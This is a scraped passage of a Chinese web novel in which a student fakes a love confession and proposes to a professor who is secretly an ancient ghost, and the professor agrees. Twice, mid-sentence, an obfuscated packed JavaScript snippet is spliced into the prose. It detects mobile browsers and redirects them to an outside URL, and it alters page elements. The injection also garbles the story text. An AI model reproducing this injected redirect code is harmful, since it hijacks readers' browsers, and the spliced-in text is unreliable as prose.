乔斯明拍了他一把,“快去!花在这我先帮你保管,学生快走完了,戚寻估计要出来了。” 阮新元腿有点软,一不做二不休,直接逆着人流走到了阶梯教室门口。 最后几个学生已经走完了,他往教室内看去,看到身形修长的人抬了下手臂、瞟了眼手表,拎着文件包准备走出来。 阮新元看了眼自己身上的白色刺绣衬衫,理了理袖口。 清新好闻的柑橘香飘来,他站在原地和刚迈出一步门的戚寻视线相撞。 阮新元在对上戚寻眸子的那一刻好像没那么紧张了。 他的脸上绽开一个如同糖果般缤纷甜蜜的笑,声音也杂着些甜,语气自然。 “戚教授,可以耽误您一分钟,借一步说话吗?” 4. 未婚夫 戚寻看着突然出现在自己面前的人,像被牢牢钉在了原地,动弹不得。 阮新元眨了眨眼,热气上涌,耳根开始不受控地变红,“戚教授……方便吗?” 戚寻其实只停顿了一秒钟,下一秒他的嘴角重新扬起一个不出错的弧度,“我记得你,你是土木的乔斯明吧,找我是有什么课程上的问题吗?” 阮新元想起这茬,更是尴尬得脑袋冒烟,硬着头皮接着说:“有些比较重要的事情,能不能去这栋楼后面的林荫小道里说?” 戚寻表现得非常善解人意,温和地点头,率先一步走了下去。 阮新元看着戚寻高大的背影,深吸一口气又吐出来,小碎步跟着人一起下去。 乔斯明躲在一棵大树后面,配合地把玫瑰花放好,偷偷溜了出去。 这条林荫小道平时就基本上没什么人经过,此时此刻更是只有阮新元和戚寻两个人。 戚寻在一个位置站定,他转过身,看到身后的人“噔噔蹬”跑到了他身前,他视线跟随着重新转过身来。 阮新元脸颊泛着红,像是被太阳晒出的热痕,“戚教授,我得先跟您道个歉,其实我不叫乔斯明……” 他感觉自己说是来求婚的,看着却更像是来认罪罚站。 戚寻眼神闪烁,示意人接着说下去。 “我真名叫阮新元,耳字旁的阮,新年的新,元宝的元,那天是我朋友有急事,所以才找我代课的,我保证绝对不会再有下次!”阮新元语气诚恳,手心出着汗。 戚寻嘴角微勾,张了张嘴,刚想说些什么,就看到眼前的人又“噔噔蹬”小跑了起来,跑到了一棵树的后面,又小步跑了出来。 有着九十九朵玫瑰花的花束分量不轻,大得如同少女纱裙的裙摆,阮新元刚抱进校园的时候就吸引了不少人的注意力。 当然,此时此刻也吸引到了戚寻的。 戚寻再次被钉在了原地。 玫瑰花开得热烈,艳丽的红与阮新元脸庞相衬,双双美得让人晃眼。 但戚寻的眼里,从来只容得下那一个人的音容。 阮新元捧着玫瑰花,几步走上前,耳根已经红得彻底,还要厚着脸皮撒谎,说出提前准备好的台词。 他的眼神不清白,话语直接。 “戚教授,我其实暗恋你很久了,你能不能看在我这么真挚的份上,跳过交往那步,直接和我结婚。” 阮新元一口气说完这句话,就把玫瑰花束递到戚寻面前。 紧接着他弯腰一秒,刚想着按照计划说出下一句准备好的台词就赶紧跑路。 “戚……” “好。” 低沉悦耳的声音没什么起伏,一如往常那样给人从容不迫的感觉。 “啊?”阮新元瞳孔震颤。 戚寻歪了歪头,又重复了一遍,脸上的微笑无懈可击,“好,我答应了。” 他抽出玫瑰花束上的贺卡,在贺卡上看到秀气的字迹写着一串电话号码和微信号,“这是你的联系方式?” “昂啊,对,是我的联系方式……”阮新元下意识跟着对方的话回答。 他眼神有些呆滞,现在已经不会思考了,处在一个本来以为自己是在做A级高数压轴题、结果突然变成了1+1算术题的混乱之中。 哪个环节出了差错? 不对好像没什么差错。 应该说,这么顺利是正常的吗??? “好,我还有事,具体结婚相关事宜,等我加上你联系方式,我们再找机会面对面详谈。”戚寻彬彬有礼地接过那束玫瑰花。 “回见。”他挥了挥手。 阮新元茫然地挥挥手,嘴巴呢喃:“回见。” 戚寻捧着花的背影渐渐消失在他的视线中,他迟迟没有缓过神来。 直到乔斯明火急火燎地跑回到他边上,神情既好奇又急切,“咋样咋样?我刚刚看到戚教授抱着那一大束玫瑰走了?哎,我以为按照原计划是你先跑出来啊,怎么和我们剧本有出入……” 乔斯明念念有词。 “他答应了。”阮新元声音微弱,打断了对方。 乔斯明差点没听清,他顿了一下,放松了下来,“答应加你微信了吗,那是好事啊,你怎么这副失魂落魄的表情,说明今天刷脸成功,人家没讨厌,说不定你再猛追一两个月就成了……” 阮新元第二次打断了对方。 “他答应的是,我的求婚。” 空气安静了三秒,风吹过树枝,带动树叶互相拍打的声音沙沙作响。 太阳光在午后的威慑力强大,迫使乔斯明的额间滴落一颗汗珠砸在地面。 下一秒,乔斯明爆发了尖锐的叫喊。 “我靠?!啥玩意??” “嘘——”阮新元回过神把人的嘴给按住,“没人你也得小点声!” 乔斯明脸都憋红了,喘着气,“我嘞个乖乖,我说他刚刚怎么云淡风轻地走了,你没按照剧本来,感情是他答应了?” “他都不认识你吧?” 阮新元咳嗽了两声,嘟囔道:“其实他认得出我,以为我是你,因为帮你代课那天,我差点忘记喊到了,被他记住了……” “所以我刚刚一开始还和他解释了一遍,说是你有事,下次不会了。” 阮新元心虚一笑。 乔斯明听得脚趾抠地,“居然还有我戏份?” “那也就是只见过一面……靠,怎么一开始是我们想‘坑’人家,这下莫名其妙有种被‘坑’的感觉。” “我也没想到,我本来还等着说完求婚,就说不用现在答应先加我卡片上联系方式也行,我下次再来找他慢慢追,结果根本没给我机会,”阮新元现在脸还发着烫,“我刚说完他就答应了,干脆利落,一点不拖泥带水。” “还主动说回去加我联系方式,到时候找机会再面谈结婚的事情。” 乔斯明镇静了些,若有所思,“不过我们的目的也算是达到了,本来算他理亏,但是他答应得那么爽快也算是意料之外了,反正你现在最重要的是保住性命,你父母那边也好交差,至于他为什么这么快会答应……” “我可以直接问,”阮新元回想起戚寻答应时坦荡的表情,做了个决定,“他肯定知道直接答应我会很奇怪吧,毕竟我说的是暗恋,还有点逻辑,大概率会在之后和我解释,左右我不可能亏,他还算我救命恩人呢。” 乔斯明跟着点头,也算松了口气,“也对,你有救了。” 阮新元失笑,心口压着的石头也落下一半。 “不过……”乔斯明迟疑了一下。 阮新元看他,“不过什么?” “我们好像还没圆,你是怎么喜欢上他,又是如何暗恋,暗恋了多久,最终为什么选择直接求婚,”乔斯明有点头疼,“他要是问你这些咋办?” 阮新元想到这些也跟着头痛,觉得自己的良心受到了前所未有的谴责。 这不是耽误人家姻缘保全自己的性命吗? “唉!” 阮新元有点苦闷地蹲下来,望着刚刚戚寻离开的方向。 “就……说,我在网上看到他,所以考了这个地方的学校,最后听说他还单身就忍不住了呗,反正他都答应了。” 乔斯明抖着腿,“也行也行,反正你自己看着来,我们也去吃饭吧!” 阮新元边被乔斯明拉着,边想自己以后一定要对这个被自己耽误姻缘的戚寻好一点。 * 中渊地府,轮回司,祭偕台。 “三生水有灵,近千年的魂魄重聚入轮回再生,或许真是百年前那桩事的造化。”泰姣月望着碧绿的河水感慨。 “娘娘,那南边的鳏夫又来了。”蹦蹦跳跳的小骨精飞舞着,凑到泰姣月耳边悄声禀报。 “慎言。”泰姣月勾起嘴角,轻轻 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她低头看向河面,在戚寻幻化出的脑内记忆里,看到了对方被求婚的全过程。 证实了戚寻不是久病痴心妄想。 泰姣月有些愕然,“可他额间的红鸾未动,这……” “这不重要。”戚寻的神色变回阴森冷漠。 “我只想知道他这世之后能否再入轮回,此生的命数亦会如何?” 泰姣月深深看了他一眼,叹口气,一跃飞上祭偕台。 她面朝三生河站定,用中指指腹,轻点自己额间的红痣,闭上眼。 “三生圣水,命定九天,恩罪消抵,福祸相依,今生累累,轮回期期,死生明明……” 戚寻端详着被搅动的碧绿河水,几分钟后,他抬头望向高台,看到泰姣月居然有些迷茫地睁开眼。 他紧皱起眉,望着人从高台上飞下。 “你在司命阁是不是没有找到他的生名?”泰姣月沉沉开口。 戚寻的指尖颤抖,“嗯。” 司命阁是地府记录死去之人姓名、生平之事、轮回几世宿命的综阁,凡人去世之后一般都会在此的生死簿被登记上信息,直至下一个轮回。 而只有两种人不会被记录。 一种,三魂七魄均已散尽,再也入不了轮回,天地间不再有这号人存在。 另一种,这个“人”不是凡人,为神,或是化作鬼。 但现在阮新元已经重新出现,入了轮回,不存在第一种情况。 入了轮回为普通凡人,与第二种情况也相悖。 所以戚寻来找泰姣月,对方作为掌管轮回司祭偕台的鬼圣使,能在三生水中窥探凡人的命运,几乎无一例外,哪怕神鬼。 泰姣月秀眉皱起如三生水般的涟漪,她薄唇微启,道出方才施法的结果。 “他的今生和来世,都一片空白。” * “新元,你今天怎么一直盯着手机看啊,在等谁的消息吗?”方又知在阮新元吃饭第五次看向手机屏幕的时候没忍住发问。 阮新元抬眸笑了一下,说了半句实话,“等crush加我微信。” “啊,你遇到喜欢的人了?”方又知推推眼镜,语气激动,“哪里认识的,哎怎么是他加你微信,不应该你加他的吗?” 阮新元点到为止,笑盈盈地吊人胃口,“等我成功了再告诉你,记得先帮我保密。” “行,没问题。”方又知虽好奇,但有分寸不会一直逼问。 阮新元第六次随意扫屏幕,发现联系人那里弹出一个红点。 他有些紧张地点开,心像被提起来怦怦跳着。 是一个头像是古代画卷轴一角的人。 “新朋友”添加备注: 【我是戚寻,你的未婚夫。】 5. 称呼 “那啥新元,我朋友找我打球,那我先走了。”方又知见阮新元那表情,就知道是对方口中的crush来加他了,很有眼力见地决定先溜走。 “啊,”阮新元慢半拍回应,视线却黏着手机屏幕没有挪开,“好。” 方又知端起餐盘走了以后,阮新元又开始盯着手机屏幕琢磨起那句话来。 未婚夫…… 本来对阮新元来说,这个角色只是他“调侃糊弄”长辈的,本应不存在才是。 结果现在真的有人就这么出现了,把这个虚空的词填满,这让他的内心颇觉微妙。 更别说,还是他主动促成的。 阮新元没再犹豫,点了同意,思索再三,还是给人备注“戚教授”。 【多财多福金元宝:戚教授,你好[玫瑰]】 【戚教授:嗯】 阮新元本来已经做好了要等着的准备,没想到戚寻秒回。 在他还在犹豫该说什么的时候,看到了对话框里的“对方正在输入中……” 【戚教授:周五、周六晚,周日中午我都有时间,你挑选一下,我们面谈一下结婚事宜。】 戚寻直奔主题,还让阮新元有些措手不及。 他看着“结婚事宜”四个字,总觉得没有实感。 真的不是在做梦吗? 【多财多福金元宝:那就周五晚上吧?】 【戚教授:好,那我订餐厅,到时候把位置发你。】 【多财多福金元宝:好的[玫瑰]】 一场对话三分钟内就结束了,非常高效。 就是阮新元看着这段对话,怎么都觉得不像是在谈结婚的事情,而像是自己在预约面试。 他把手边的AD钙奶吸得干干净净,将手机放进牛仔裤口袋,端起餐盘准备起身倒掉。 不料在站起身的那一刻,熟悉的钻心感从胸口传来,阮新元脸色一白,很慢很慢地重新坐回了原位,手指无意识地捏紧了塑料餐盘的边缘,手背爆出青筋。 如同刀割的痛感持续了五秒钟,在他快要滴落冷汗之前,痛感开始撤退,渐渐消失。 阮新元喘着气,闭了闭眼,又重新睁开。 这次的症状还算好,持续的时间不长,也没有其他的症状一起出现。 但隔三岔五地来这么一招,阮新元真怕自己又和上次一样晕倒,好在之后的几次都不像那一次那么激烈,他只要在原地不动,自己也能熬过去。 如果像第一回那样发作,在寝室倒还好,在公共场合可就麻烦了。 他吐出一口浊气,重新端着餐盘站起来,手还在因方才的疼痛颤抖,没有缓过来。 不过…… 阮新元走出食堂,站在大树下阴影里的时候突然想到了什么。 好像后面发作的几次,都是他身边没有认识的人在的时候,唯一一次有人在就是第一回痛晕的那次。 不知道有没有什么所谓的规律,也可能只是凑巧。 反正希望在自己和戚寻结婚之前,发作的时候都能扛过去。 * “你这次怎么不用可乐招待我了?”宋祈看了眼自己杯中的白开水,顿觉索然无味。 戚寻冷哼一声,“你不是怕杀精?” 宋祈被噎了一下,嘴硬道:“是,白开水多健康。” “你今天来找我,是不是追人遇到了什么困难?”宋祈煞有介事地用手指敲击着陶瓷茶杯,“这追人遇到困难也是很正常的,毕竟你不像我实战经验那么丰富……” “我要和他结婚了。”戚寻眼神闪过一道锐利的光。 “噗——” 宋祈第二口水没吞进喉咙里,喷到了地上。 戚寻斜了他一眼,没和人计较,心情不错地补充。 “他在人间,以现在的身份和在人间的我求婚了,我答应了。” 宋祈脑内混乱,颤抖着手比出一个数字,“不是……距离你上次找我,不是才过了五天?” “而且怎么是他和你求婚啊,我以为你先追他呢。” 戚寻勾起一点嘴角,“他说他心悦我已久,度日如年,内心急切,于是找我求婚了。” “那你就这么答应了?”宋祈觉得不可思议。 “不是,虽然现在人间是二十一世纪了,异性同性都婚恋自由,但是站在他的角度,你对他都不熟,顶多就一面之缘,你就这样答应了不是很奇怪吗?” “哦对了,”宋祈又想起什么重要的事情,“你看到他额间的红鸾亮了没?” 戚寻表情阴冷下来,语气森冷,又突兀地笑了一下,“没有,但没关系,我会让它亮的。” “至于你方才说的那个问题,我已经想好对策了,不必担心。” 宋祈觉得自己后背有点阴森森的,在心里蛐蛐,我才不是担心对面觉得你有问题呢,是怕你这百年老鬼被骗,现在骗身骗钱的凡人多了去了。 罢了,是正缘还是孽缘反正他说了不算。 他叹了口气,摇摇头,举起手中的杯子,开怀笑道:“那我就预先祝你,在人间,新婚快乐。” 戚寻与他碰杯,将杯中可乐饮尽。 * “催婚?”阮新元眼里闪过一瞬愕然。 戚寻温和一笑,放下汤勺,继续说下去。 “再过两年,我也三十岁了,父母自然催得紧,这几年,我的亲戚长辈还有他们朋友家的子女,陆陆续续都已成家,这变相成了我的催婚符,如果再不找对象的话,说不定明天我就要被拉去相亲。” 阮新元了然点头,他作为同样被“催婚”的人,也是非常能感同身受的。 对面的戚寻紧接着话锋一转,“而且,在这个时候,你出现了。” 温柔的话语像一片羽毛落在平静的湖面,在阮新元心间荡起涟漪。 “你说,你暗恋我很久了。” 戚寻突然提到这茬,令他的一颗心如同被火柴瞬间点燃,烧得心间湖面的平静不再,他的面颊发热。 这是一个谎言。 让他心虚又紧张得面红耳赤。 阮新元甚至有点不敢抬头和对面的人对视,不过该来的总是会来的,他在心里给自己加油,抬眸对上了戚寻深邃的眼。 不过他在此刻抛却了之前准备好的剧本,脱口而出的是另一个故事。 “其实我对您是一见钟情,一个半月前我来学校找我朋友,偶然间看到您了,擦肩而过,却给我留下了很深的印象。” 阮新元厚着脸皮,酒窝像是被羞赧情绪烫出的小洞,“一个半月,也可以算有点久吧……” 他有点不自在地抠着手指。 这个故事太简单,又漏洞百出。 临时重塑的剧本粗制滥造,却比之前的那个真实些。 对面的人并不在意,反而是笑得温柔,让人在夏末感到如沐春风。 “那这样对你来说,是不是不太公平?” 阮新元听到戚寻说。 他愣神一刻,“为什么?” “你喜欢我,可我现在却并不喜欢你,就这样因为父母的催促而答应了你的求婚,这对你来说,不算是负责的表现,尽管我的父母对我的配偶没有任何要求,不管是男是女,都看我自己。”戚寻挑了挑眉,用一种探询的目光看向阮新元。 阮新元没想到戚寻会这么说,他对此并没有预设好的回答,开口有些磕磕绊绊。 “那你,试试喜欢我呗,这样不就公平了。” 他说出这句话的时候就后悔了,毕竟他其实不喜欢人家,怎么还能要求别人喜欢上自己? 要不是因为玄子命的真相常人难以相信,他都快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119909|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向戚寻吐露真言了。 这不过脑子的回答,完全就是乱套公式! “呃,也不是,你也不用勉强嘛,何况我现在也没有那么那么那么喜欢戚教授你,我们……应该,还算公平。” “再说只要我们能互相尊重互相理解,这你情我愿的婚事,就没什么不公平的。” 阮新元涨红着一张漂亮的脸,给自己上面的回答打补丁。 戚寻的脸上始终挂着从容不迫的笑,好像阮新元说什么他都可以接受也不会感到惊讶。 “那好像是公平一点,既然这样的话,你觉得我们什么时候领结婚证比较好?” “双方父母也需要见个面。” 话题又被戚寻转移,阮新元跟着思索了一下。 他自然是想着越快越好了,但就是怕戚寻觉得太仓促了…… 正在他犹豫的几秒钟里,戚寻又开口了。 “当然,我这边的想法希望尽快,毕竟时间拖得越久,我父母催得越紧,但是一切看你的意思。” 阮新元眼前一亮,这不是刚好正中他下怀? “咳咳,那就尽快吧,我外婆懂一点八字,会挑黄道吉日,我回去和她说一声,等她算好时间了我再和你说,可以吗?” “嗯,既然如此,那双方父母会面的时间也交给你选择吧,我父母就定居在江城,基本上都有空闲时间,”戚寻喝了口大麦茶清口,修长的手指摩挲着杯壁,“还有关于婚礼,你有什么想法?” 阮新元被问得一愣,这件事他倒真没想过,总觉得把结婚证领了就万事大吉。 可……正式结婚,好像是有婚礼比较好吧? 戚寻像是一眼看穿了阮新元内心的纠结,善解人意道:“不过你现在还在念书,这个婚礼我们延期举办也没关系,这不是非常必要的形式。” 阮新元想起来这茬,松了口气,这倒是个好借口,他朝戚寻乖乖点头,紧接着端起茶杯喝了口水,借机吐了吐舌头,“嗯嗯。” “那就……还差最后一个问题。”戚寻手指无声但有节奏地敲击着桌面。 “嗯?”阮新元眨眨眼,认真地看向对方。 戚寻盯着阮新元没有任何反应的额间两秒,终于没忍住起了点恶劣的心思。 “小元,我可以这么叫你吧?” 阮新元的心被敲动了一下,他点头,小声回应,“可以。” “那你现在还叫我戚教授,是不是有些见外?” “在双方父母面前,这个称呼也容易显得生疏。”戚寻不紧不慢地说着。 阮新元自觉对方说得在理,但思来想去一会儿,也想不出什么好的称呼来。 总不能直接叫老公吧? “你以前怎么称呼你交往的对象,按一样来就行。”戚寻不动声色地提醒,眼神闪烁。 阮新元下意识接下去回答:“我没交往过别人。” 戚寻在等待对方回答这个问题时堵着的气很快正常流通,好心地给阮新元提供了一个思路。 “你可以直接叫我戚寻。” 他等待了几秒钟,发现阮新元的表情变得有点诡异,夹杂着纠结、犹豫甚至有些惭愧的意味。 “那个……”阮新元抠了抠手,“要不我还是叫你寻哥吧。” “毕竟,你比我大十岁,我怕我直呼你大名,我妈说我不尊重长……不是,前辈。” 说完这句话,阮新元又笑盈盈地对着戚寻一眨眼。 戚寻沉默地让人萌混过关,因为他实际上比人大九百多岁。 “好啊,那等正式结婚之后,就再更改一下称呼吧。” 阮新元直直地看向人眼里,“改叫什么?” 戚寻凑近了一点,深邃的双眸如璀璨的宇宙,不断吸食着阮新元的注意力。 “叫老公,好不好?” 6. 白玫瑰 阮新元脑子从来没转那么快过,他几乎是脱口而出。 “那公平起见,你是不是也得叫我老公?” 他说完这句话还用天真无辜的眼神朝戚寻眨眨眼,看上去非常人畜无害。 空气沉默了两三秒,戚寻眼尾也带上笑。 “嗯,对。” 他一如既往答应得爽快。 阮新元回过味来烫着耳根,立委婉撤回刚才那句话,“其实一直叫我小元也挺好的……” “你父母和外婆一般怎么叫你?”戚寻没有回答,只是温和地提出新问题。 阮新元没再纠结他们彼此之间的称呼问题,用小叉子叉了勺餐后甜点,回忆道:“一般直接喊我名字的最后一个字,不过有时候会喊大名,还有些乱七八糟的称呼,总的来说,看他们心情。” 戚寻点头表示了解,盯着阮新元因为进食反复舔舐后红润的唇,语调轻缓,“不过,我比你大了十岁,他们不会觉得我和你相差太大吗,毕竟在婚姻关系当中,年纪小太多的一方,容易吃亏。” 阮新元迟疑了一下,他慢吞吞地又叉了一勺开心果巴斯克,咬了咬铁叉子,斟酌着说道:“我父母他们都很开明,只要我愿意就好嘛,要不然我也不会直接向戚教……寻哥你求婚咯,他们也巴不得我早点结婚,省心。” “那寻哥你父母呢,不会觉得我年纪太小吗?”他把问题抛回给戚寻。 戚寻用餐布擦了擦嘴,从善如流地回答:“不会,就像我前面说的那样,他们只是希望我早日成家,并没有对我未来的伴侣提出什么要求。” “更何况,你给人的第一印象,长辈们都会喜欢的。” “是吗,那就好……” 对面的人听到这话微微睁大眼睛,圆溜溜的明亮眸子在戚寻眼里像很多凡人所钟爱猫咪的美丽瞳孔。 阮新元只要轻轻一笑,嘴边的酒窝就会显现出来,戚寻从起初的想用手戳弄到现在想更进一步……贪婪地想在上面舔上一口,甚至是咬,在上面留下自己的齿痕。 这是他想了几百年的事情。 当然,这样的情绪他藏得很深,他也必须勒令自己藏好,至少藏到他们领到凡人结婚证之前的那一秒。 等阮新元不紧不慢地吃完甜品,这次商讨婚事的约会到了尾声。 “我开车送你回学校吧,正好我也要回B大一趟取东西,顺路。”戚寻看了眼手表,站起身,穿上杏色风衣外套。 阮新元本想着坐地铁回学校,既然戚寻这么说了,他也没什么好客气的。 于是乖巧点头,跟在戚寻身后,和人一起走出餐厅。 戚寻的车停在餐厅门口,他绅士地帮阮新元打开副驾驶的车门,阮新元习惯性地说了声谢谢,然后侧身坐了进去。 车内的香气将他包裹,他没怎么用力分辨就闻出,这股香味和对方身上的味道一样,都是清新的柑橘味,并不刺鼻。 过了一会儿后座的门被打开了几秒,阮新元还没来得及回头看,驾驶座的车门被打开。 他下意识朝自己左边看去,在明亮的车内灯光下,他的眼前闪过一抹纯洁的白,眼前人的额前发丝微颤,眉目勾人。 戚寻一只手撑着车门,一只手捧着一大束白玫瑰。 “公平起见,也是九十九朵。” 阮新元眼波流转,没怎么犹豫地把那束花捧在了怀里。 就像戚寻没怎么犹豫接过他那束红玫瑰一样。 于是除了戚寻身上散发的香气之外,他还闻到了玫瑰花的气味,那是一股截然不同的味道,除了直冲鼻腔有点腻人的香,还夹杂着新鲜的土味。 有着整整九十九朵玫瑰的花束阮新元不是第一次捧,此刻抱着放在腿上却还是有点吃力。 这让他不经开始想象当时戚寻一只手把花捧走之后是如何处理它的。 “砰——” 车门关闭的声音让阮新元回过神。 抛却别的意味,他怀中的白玫瑰确实很漂亮,几乎吸引了他所有的注意力。 但他此刻抛却不了,因为送他玫瑰花的人,是他的准老公。 还是他决定好好对待的救命恩人。 “咳咳,”阮新元偏过头看向正在开车的戚寻,“这花是……” 戚寻解释道:“是我来之前就买好的,但在餐厅里送你太惹人注目,我怕你不喜欢那种感觉,所以刚刚找了个借口把你‘拐’上车,在学校里捧着的话,我想你应该不会尴尬吧?” 阮新元听出了对方的言外之意,毕竟当时他求婚就是大张旗鼓地把红玫瑰捧进学校了。 “不过你如果不喜欢的话,走之前放在车上就好,我到时候带回家和你那束一起养着,让它们做个伴。”戚寻淡淡地说着,像是一点也不在意阮新元怎么处理这束漂亮的花。 “不会啊,我很喜欢,有些还是花骨朵,开出来会更漂亮,我会带回寝室好好养的,”阮新元捧紧了点这束花,他突然想到了什么,又问出了新的问题。 “那你……是真的顺路要回B大,还是只为了送我啊。” 送我花,送我回家。 阮新元在心里补充这句话。 这么问好像有点“自恋”,毕竟戚寻不喜欢他,只是对他有些好感。 但戚寻刚刚送花的行为,却让他的内心产生了一些探寻对方目的的冲动。 戚寻听到问题后怔愣了一下。 阮新元有时候开口总能出乎他的意料,即使过去了那么久,对方还是能轻而易举地勾动他的神思。 不过也只有一秒,他很快回应。 “看来我的这个借口很拙劣。” 阮新元勾起嘴角,嘿嘿一笑,“你可以直接说出来,现在也可以直接承认,不用那么客气嘛,毕竟……我们之后在家人眼里,应该是两情相悦的准夫夫。” “既然这样的话,那我们私底下面对彼此,也得少些疏离的客气,对吧?” “露馅的话可就不好了。” 阮新元的疑问被解答,他有些开心自己猜中了答案,这让他的心里产生一种微妙的愉悦感,哪怕他其实不喜欢戚寻。 至少现在不喜欢。 戚寻煞有介事地点点头,“是我需要再习惯一下,毕竟我们才第一次正式见面,不过,你不用担心露馅。” 阮新元刚想反驳为什么不用担心他露馅,下一秒想起来自己的人设——一见钟情对方、暗恋了一个半月和人不熟就直接求婚。 “嗯,那倒是……”他又有点心虚起来,“那你再多习惯习惯。” 一时间车内没人再说话,舒缓的英文歌在车厢内伴着窗外的一点风流淌进车内人的耳朵,让阮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119910|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新元的心变得更加平静。 他在一边的车窗里,隐约看清戚寻无可挑剔的侧脸。 很奇怪,明明这是他和对方第一次正式见面,他就吐露了很多自己的真心话,除了那个实在是荒诞羞于启齿的真相。 戚寻给他令人心安的感觉,让他不自觉就说出了不少东西。 现在阮新元回想起来晚上这场约会,发现他无意间说了很多有关自己的信息,但他对戚寻的了解却还是很少。 不过对方比他想象的还要好相处,气质温润,彬彬有礼。 这样几乎让人说不出缺点的人,居然还会面临被逼相亲的局面吗? 或许,确实是他运气好吧。 要是好不容易找到命定之人,对方还已经有对象或者结婚了,他的道德底线只能容许自己安静地死去了…… 戚寻把车直接开进了Z大校内,在阮新元的指路下靠在离宿舍楼还有几十米距离的停车场停下。 这个地方来往的学生比较少,不会太引人注意。 阮新元解开安全带,抱着白玫瑰准备下车。 他打开车门一只脚踏出去后,抱着玫瑰转过身弯腰,朝车内的戚寻挥了挥手,“寻哥再见,晚安。” 戚寻朝他温柔一笑,“晚安,到寝室了再给我发个消息。” 阮新元愣了一下,轻声说好。 他关上车门后抱着花离开,走了几米之后没忍住往后看了眼,发现戚寻的车还停在原位。 是在等他走到寝室吗? 还差几米的距离,阮新元快要走上寝室楼大厅,他侧过身往戚寻停车的地方看去,果然,这个时候对方才重新挪动车子准备离开。 阮新元抱着玫瑰花心怦怦跳,压根没怎么在意周围经过他的人投来的目光。 这种令他感到奇妙的情绪,在戚寻叫他报备直到确认他到寝室之后才离开时,达到了顶峰。 说不上来该怎么描述,或许因为他因谎言还感到心虚,而戚寻看上去却特别认真。 看来他需要对自己这个救命恩人再好点了。 最好是,自己也能试着喜欢上他…… 意识到自己有这个想法之后,阮新元耳根一烫,没有再想下去。 他抱着玫瑰在寝室门口站立,敲了敲门没人应答,从口袋里掏出钥匙开门。 寝室内一片漆黑,他“啪嗒”一下打开灯。 今天是周五,方又知他们估计都出去玩了。 阮新元把玫瑰花放在了一边,有点亢奋地带上耳机,准备先给他爸妈打个电话,报备一下自己的情况。 视频电话接通得很快,他爸妈和他外婆刚好都聚在客厅沙发上看电视。 阮新元一打通电话就扔下一颗惊雷。 “爸妈、外婆,我找到命中注定的老公了,随时可以结婚。” “咚——” 阮新元听见声响,下意识回过头,一回头就瞧见寝室门口某三位一脸震惊地盯着他。 蒋其风眼疾手快地拿起不小心砸地上的篮球,“抱歉抱歉,我肌无力又犯了。” “呃,”方又知有点手足无措,“新元你们那边随份子一般多少钱?” 严康良看看左边看看右边,最后看向阮新元,“超过二百,有损我的恩格尔系数。” 阮新元:“……” 7. 黄道吉日 “然后呢元?确定符合条件吗?是什么人?现在就能谈结婚?你是不是商量给钱了,那价格谈得怎么样?你怎么没反应了,这孩子怎么话说一半呢……” 电话那头的何湫眉头紧皱,催促不停,焦急得没怎么注意屏幕里阮新元有些尴尬的表情。 阮新元耳廓燥热,轻轻闭了闭眼,偏过头朝站在自己身后的三个人指了指手机,示意自己在打电话。 三人心领神会,方又知了然于心,朝边上的两个人做了个“嘘”的动作。 严康良点头走到衣柜前,找换洗衣服准备洗澡,蒋其风转身把手里的篮球放回原位,坐回到自己的座位,还和方又知很自觉地戴上耳机。 耳机里的催促声还在继续,阮新元起身拉起帘子,松了口气,接着说,声音放轻了些。 “外婆那天算得没错,那人在离我不出十公里的地方,就在斯明他们学校,我误打误撞认识的,我反复确认过了他符合那三个条件……”他和屏幕里聚精会神听他说话的三人对视,“是个历史系的副教授,长得帅,气质出众,性格也好。” “而且……不需要给钱谈价格就答应结婚。” 何湫一下抓住了问题的关键,“哦呦,那你是这几天才找到的吧,你不给钱,这么快人家会答应和你结婚啊……这是不是有点奇怪啊?” 边上的阮林福闻言也深深皱起眉,怀疑道:“嘶,会不会对你图谋不轨啊元。” 毕竟阮林福对自家儿子的长相和讨人喜爱的程度还是很有信心的。 阮新元无奈一笑,“老阮同志,你别忘了,现在图谋不轨的人是我好不好,我可是为了活命,说难听点这是让人家搭上一辈子的幸福。” “你们别担心,他答应我,也是因为对我第一印象不错,再加上家里催婚催得紧,相当于我们各取所需,这样很好了。” 他自动省略了自己和戚寻求婚的经过,还有自己编的一见钟情和暗恋谎言。 “那你是怎么和他提出结婚一事的?”花槿眼神锐利,一下子抓住了阮新元话语里刻意省略的地方。 “总不会你……” 阮新元及时打断。 “啊,你们想嘛,谈钱伤感情,我和人都见过一面了,对对方第一印象还都不错,所以肯定是晓之以理动之以情,我只是说我对他有好感,再加上我们家有不太一样的习俗,需要十八岁结束之前结婚而已,就算他不理解答应也没事,这不是正好瞎猫碰死耗子咯。”他只得接着圆。 花槿松了口气,“你只要别把真相告诉人家就行,知道的人越多越不好,别的倒是无所谓,要是人家后面真觉得吃亏了,你可以再和他谈价格,一千万以内都好商量。” 说完这句,花槿还大手一挥,阮林福听见这话连忙附和点头,“对,儿子,钱不是问题。” 阮新元乖乖点头,“我知道,你们放心就好,他人很好的,应该不会到谈钱那一个环节。” 何湫“哼”了一声,摇头笑了一下,“元啊,知人知面不知心,何况你才认识对方没多久,有时候还是金钱关系比较牢靠。” 阮林福稍微放下点心,眼睛还有点红了,“那我们现在也算心中石头落了地,等这一天太不容易了!” 阮新元安抚地对他笑了笑。 